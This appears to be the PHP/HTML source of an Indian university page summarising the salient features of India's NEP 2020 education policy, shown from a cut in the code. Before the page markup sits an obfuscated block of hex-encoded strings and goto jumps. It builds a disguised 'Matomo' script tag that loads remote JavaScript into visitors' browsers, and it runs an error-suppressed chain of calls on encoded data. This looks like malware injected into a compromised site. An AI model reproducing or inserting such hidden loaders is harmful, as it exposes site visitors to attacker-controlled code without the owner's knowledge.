Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <!DOCTYPE html> <html lang="en"> <?php include("header.php") ?> <body> <div class="row_1"> <div class="column_1" style="padding-bottom: 15px;"> <div class="col-xs-12 col-sm-4 col-md-3 col-lg-3" style="max-width: 100%; width:210px;"> <h6 style="color: Black;">NEP Quick Links</h6> <hr> <a href="nep.php" style="color: currentcolor; font-weight: 400;"><i style='font-size:24px' class='fa fas'></i> NEP </a><br> <br> <a href="features_nep.php" style="color: currentcolor; font-weight: 400;"><i style='font-size:24px' class='fa fas'></i> Salient features </a><br> <br> <a href="outcomes_nep.php" style="color: currentcolor; font-weight: 400;"><i style='font-size:24px' class='fa fas'></i> Outcomes of NEP 2020 </a> <br> <br> <a href="http://nrupathungauniversityblr.ac.in/assets/docs/NEPfaq.pdf" target="_blank"; style="color: currentcolor; font-weight: 400;"><i style='font-size:24px' class='fa fas'></i> NEP FAQ'S</a> </div> </div> <div class="column_1"> <div class="col-xs-12 col-sm-8 col-md-9 col-lg-9" style="max-width: 100%;"> <h3 class="display-" style=" color: black;">Salient Features Of NEP 2020</h3> <hr> <div style="background: #95503d; color:#FFFFFF; " class="tg-widgettitle"> <h3 style="color:#FFFFFF; margin-left: 10px; font-weight: 400;" >School Education</h3> </div> <div class="row_1"> <div class="column_1"> <div class="col-xs-12 col-sm-4 col-md-3 col-lg-3" style="max-width: 100%;"> <div class="tg-widget tg-widgetcoursecategories"> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" >Ensuring Universal Access at all levels of school education</h4> <li class="list-group-item">NEP 2020 emphasizes on ensuring universal access to school education at all levels- pre school to secondary. Infrastructure support, innovative education centres to bring back dropouts into the mainstream, tracking of students and their learning levels, facilitating multiple pathways to learning involving both formal and non-formal education modes, association of counselors or well-trained social workers with schools, open learning for classes3,5 and 8 through NIOS and State Open Schools, secondary education programs equivalent to Grades 10 and 12, vocational courses, adult literacy and life-enrichment programs are some of the proposed ways for achieving this. About 2 crore out of school children will be brought back into main stream under NEP 2020.</li> </div> </div><!-- projects --> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" >Early Childhood Care & Education with new Curricular and Pedagogical Structure</h4> <li class="list-group-item">With emphasis on Early Childhood Care and Education, the 10+2 structure of school curricula is to be replaced by a 5+3+3+4 curricular structure corresponding to ages 3-8, 8-11, 11-14, and 14-18 years respectively. This will bring the hitherto uncovered age group of 3-6 years under school curriculum, which has been recognized globally as the crucial stage for development of mental faculties of a child. The new system will have 12 years of schooling with three years of Anganwadi/ pre schooling. NCERT will develop a National Curricular and Pedagogical Framework for Early Childhood Care and Education (NCPFECCE) for children up to the age of 8 . ECCE will be delivered through a significantly expanded and strengthened system of institutions including Anganwadis and pre-schools that will have teachers and Anganwadi workers trained in the ECCE pedagogy and curriculum. The planning and implementation of ECCE will be carried out jointly by the Ministries of HRD, Women and Child Development (WCD), Health and Family Welfare (HFW), and Tribal Affairs.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Attaining Foundational Literacy and Numeracy </h4> <li class="list-group-item">Recognizing Foundational Literacy and Numeracy as an urgent and necessary prerequisite to learning, NEP 2020 calls for setting up of a National Mission on Foundational Literacy and Numeracy by MHRD. States will prepare an implementation plan for attaining universal foundational literacy and numeracy in all primary schools for all learners by grade 3 by 2025.A National Book Promotion Policy is to be formulated.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Reforms in school curricula and pedagogy </h4> <li class="list-group-item">The school curricula and pedagogy will aim for holistic development of learners by equipping them with the key 21st century skills, reduction in curricular content to enhance essential learning and critical thinking and greater focus on experiential learning. Students will have increased flexibility and choice of subjects. There will be no rigid separations between arts and sciences, between curricular and extra-curricular activities, between vocational and academic streams.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Vocational education will start in schools from the 6th grade, and will include internships. </h4> <li class="list-group-item">A new and comprehensive National Curricular Framework for School Education, NCFSE 2020-21, will be developed by the NCERT.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Multilingualism and the power of language </h4> <li class="list-group-item">The policy has emphasized mother tongue/local language/regional language as the medium of instruction at least till Grade 5, but preferably till Grade 8 and beyond. Sanskrit to be offered at all levels of school and higher education as an option for students, including in the three-language formula. Other classical languages and literatures of India also to be available as options. No language will be imposed on any student. Students to participate in a fun project/activity on ‘The Languages of India’, sometime in Grades 6-8, such as, under the ‘Ek Bharat Shrestha Bharat’ initiative. Several foreign languages will also be offered at the secondary level. Indian Sign Language (ISL) will be standardized across the country, and National and State curriculum materials developed, for use by students with hearing impairment.</li> </div> </div> </div> <div class="column_1"> <div class="col-xs-12 col-sm-8 col-md-9 col-lg-9" style="max-width: 100%;"> <div class="tg-widgetcontent"n> <h4 style= "font-size: 20px;font-weight: 600;" > Assessment Reforms </h4> <li class="list-group-item"> NEP 2020 envisages a shift from summative assessment to regular and formative assessment, which is more competency-based, promotes learning and development, and tests higher-order skills, such as analysis, critical thinking, and conceptual clarity. All students will take school examinations in Grades 3, 5, and 8 which will be conducted by the appropriate authority. Board exams for Grades 10 and 12 will be continued, but redesigned with holistic development as the aim. A new National Assessment Centre, PARAKH (Performance Assessment, Review, and Analysis of Knowledge for Holistic Development), will be set up as a standard-setting body . </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Equitable and Inclusive Education </h4> <li class="list-group-item">NEP 2020 aims to ensure that no child loses any opportunity to learn and excel because of the circumstances of birth or background. Special emphasis will be given on Socially and Economically Disadvantaged Groups(SEDGs) which include gender, socio-cultural, and geographical identities and disabilities. This includes setting up of Gender Inclusion Fund and also Special Education Zones for disadvantaged regions and groups. Children with disabilities will be enabled to fully participate in the regular schooling process from the foundational stage to higher education, with support of educators with cross disability training, resource centres, accommodations, assistive devices, appropriate technology-based tools and other support mechanisms tailored to suit their needs. Every state/district will be encouraged to establish “Bal Bhavans” as a special daytime boarding school, to participate in art-related, career-related, and play-related activities. Free school infrastructure can be used as Samajik Chetna Kendras.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Robust Teacher Recruitment and Career Path </h4> <li class="list-group-item"> Teachers will be recruited through robust, transparent processes. Promotions will be merit-based, with a mechanism for multi-source periodic performance appraisals and available progression paths to become educational administrators or teacher educators. A common National Professional Standards for Teachers (NPST) will be developed by the National Council for Teacher Education by 2022, in consultation with NCERT, SCERTs, teachers and expert organizations from across levels and regions.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > School Governance </h4> <li class="list-group-item"> Schools can be organized into complexes or clusters which will be the basic unit of governance and ensure availability of all resources including infrastructure, academic libraries and a strong professional teacher community. </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Standard-setting and Accreditation for School Education </h4> <li class="list-group-item"> NEP 2020 envisages clear, separate systems for policy making, regulation, operations and academic matters. States/UTs will set up independent State School Standards Authority (SSSA). Transparent public self-disclosure of all the basic regulatory information, as laid down by the SSSA, will be used extensively for public oversight and accountability. The SCERT will develop a School Quality Assessment and Accreditation Framework (SQAAF) through consultations with all stakeholders. </li> </div> </div> </div> </div> <div class="column_1"> <div class="col-xs-12 col-sm-8 col-md-9 col-lg-9" style="max-width: 100%;"> <div style="background: #95503d; color:#FFFFFF; " class="tg-widgettitle"> <h3 style="color:#FFFFFF; margin-left: 10px; font-weight: 400;" >Higher Education</h3> </div> <div class="row_1"> <div class="column_1"> <div class="col-xs-12 col-sm-4 col-md-3 col-lg-3" style="max-width: 100%;"> <div class="tg-widget tg-widgetcoursecategories"> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Increase GER to 50% by 2035 </h4> <li class="list-group-item">NEP 2020 aims to increase the Gross Enrolment Ratio in higher education including vocational education from 26.3% (2018) to 50% by 2035. 3.5 Crore new seats will be added to Higher education institutions.</li> </div> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Holistic Multidisciplinary Education </h4> <li class="list-group-item"><p>The policy envisages broad based, multi-disciplinary, holistic Under Graduate education with flexible curricula, creative combinations of subjects, integration of vocational education and multiple entry and exit points with appropriate certification. UG education can be of 3 or 4 years with multiple exit options and appropriate certification within this period. For example, Certificate after 1 year, Advanced Diploma after 2 years, Bachelor’s Degree after 3 years and Bachelor’s with Research after 4 years.</p> <p>An Academic Bank of Credit is to be established for digitally storing academic credits earned from different HEIs so that these can be transferred and counted towards final degree earned.</p> <p>Multidisciplinary Education and Research Universities (MERUs), at par with IITs, IIMs, to be set up as models of best multidisciplinary education of global standards in the country.</p> <p>The National Research Foundation will be created as an apex body for fostering a strong research culture and building research capacity across higher education.</p></li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Motivated, Energized, and Capable Faculty </h4> <li class="list-group-item">NEP makes recommendations for motivating, energizing, and building capacity of faculty thorugh clearly defined, independent, transparent recruitment , freedom to design curricula/pedagogy, incentivising excellence, movement into institutional leadership. Faculty not delivering on basic norms will be held accountable.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Mentoring Mission </h4> <li class="list-group-item">A National Mission for Mentoring will be established, with a large pool of outstanding senior/retired faculty – including those with the ability to teach in Indian languages – who would be willing to provide short and long-term mentoring/professional support to university/college teachers.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Financial support for students </h4> <li class="list-group-item"> Efforts will be made to incentivize the merit of students belonging to SC, ST, OBC, and other SEDGs. The National Scholarship Portal will be expanded to support, foster, and track the progress of students receiving scholarships. Private HEIs will be encouraged to offer larger numbers of free ships and scholarships to their students.</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Open and Distance Learning </h4> <li class="list-group-item"> This will be expanded to play a significant role in increasing GER. Measures such as online courses and digital repositories, funding for research, improved student services, credit-based recognition of MOOCs, etc., will be taken to ensure it is at par with the highest quality in-class programmes. </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Online Education and Digital Education </h4> <li class="list-group-item"> A comprehensive set of recommendations for promoting online education consequent to the recent rise in epidemics and pandemics in order to ensure preparedness with alternative modes of quality education whenever and wherever traditional and in- person modes of education are not possible, has been covered. A dedicated unit for the purpose of orchestrating the building of digital infrastructure, digital content and capacity building will be created in the MHRD to look after the e-education needs of both school and higher education. </li> </div> </div> </div> <div class="column_1"> <div class="col-xs-12 col-sm-8 col-md-9 col-lg-9" style="max-width: 100%;"> <div class="tg-widgetcontent"n> <h4 style= "font-size: 20px;font-weight: 600;" > Regulation </h4> <li class="list-group-item"> Higher Education Commission of India(HECI) will be set up as a single overarching umbrella body for the entire higher education, excluding medical and legal education. HECI to have four independent verticals - National Higher Education Regulatory Council (NHERC) for regulation, General Education Council (GEC ) for standard setting, Higher Education Grants Council (HEGC) for funding, and National Accreditation Council( NAC) for accreditation. HECI will function through faceless intervention through technology, & will have powers to penalise HEIs not conforming to norms and standards. Public and private higher education institutions will be governed by the same set of norms for regulation, accreditation and academic standards. </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Rationalised Institutional Architecture </h4> <li class="list-group-item"><p>Higher education institutions will be transformed into large, well resourced, vibrant multidisciplinary institutions providing high quality teaching, research, and community engagement. The definition of university will allow a spectrum of institutions that range from Research-intensive Universities to Teaching-intensive Universities and Autonomous degree-granting Colleges.</p> <p>Affiliation of colleges is to be phased out in 15 years and a stage-wise mechanism is to be established for granting graded autonomy to colleges. Over a period of time, it is envisaged that every college would develop into either an Autonomous degree-granting College, or a constituent college of a university.</p></li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Teacher Education </h4> <li class="list-group-item"> A new and comprehensive National Curriculum Framework for Teacher Education, NCFTE 2021, will be formulated by the NCTE in consultation with NCERT. By 2030, the minimum degree qualification for teaching will be a 4-year integrated B.Ed. degree. Stringent action will be taken against substandard stand-alone Teacher Education Institutions (TEIs).</li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Technology in education </h4> <li class="list-group-item"> An autonomous body, the National Educational Technology Forum (NETF), will be created to provide a platform for the free exchange of ideas on the use of technology to enhance learning, assessment, planning, administration. Appropriate integration of technology into all levels of education will be done to improve classroom processes, support teacher professional development, enhance educational access for disadvantaged groups and streamline educational planning, administration and management. </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Promotion of Indian languages </h4> <li class="list-group-item"> <p>To ensure the preservation, growth, and vibrancy of all Indian languages, NEP recommends setting an Indian Institute of Translation and Interpretation (IITI), National Institute (or Institutes) for Pali, Persian and Prakrit, strengthening of Sanskrit and all language departments in HEIs, and use mother tongue/local language as a medium of instruction in more HEI programmes .</p> <p>Internationalization of education will be facilitated through both institutional collaborations, and student and faculty mobility and allowing entry of top world ranked Universities to open campuses in our country.</p> </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Professional Education </h4> <li class="list-group-item"> All professional education will be an integral part of the higher education system. Stand- alone technical universities, health science universities, legal and agricultural universities etc will aim to become multi-disciplinary institutions. </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Adult Education </h4> <li class="list-group-item"> Policy aims to achieve 100% youth and adult literacy. </li> </div> <br> <div class="tg-widgetcontent"> <h4 style= "font-size: 20px;font-weight: 600;" > Financing Education </h4> <li class="list-group-item">The Centre and the States will work together to increase the public investment in Education sector to reach 6% of GDP at the earliest. </li> </div> </div> </div> <style>ul.points li{padding-bottom:10px;border-bottom:1px dashed #eee;margin-bottom:10px;}ul.points li:last-child{border-bottom:none;}</style> </div> </div> </div> </div> </div> </body> <br> <br> <?php include("footer.php") ?> </html>
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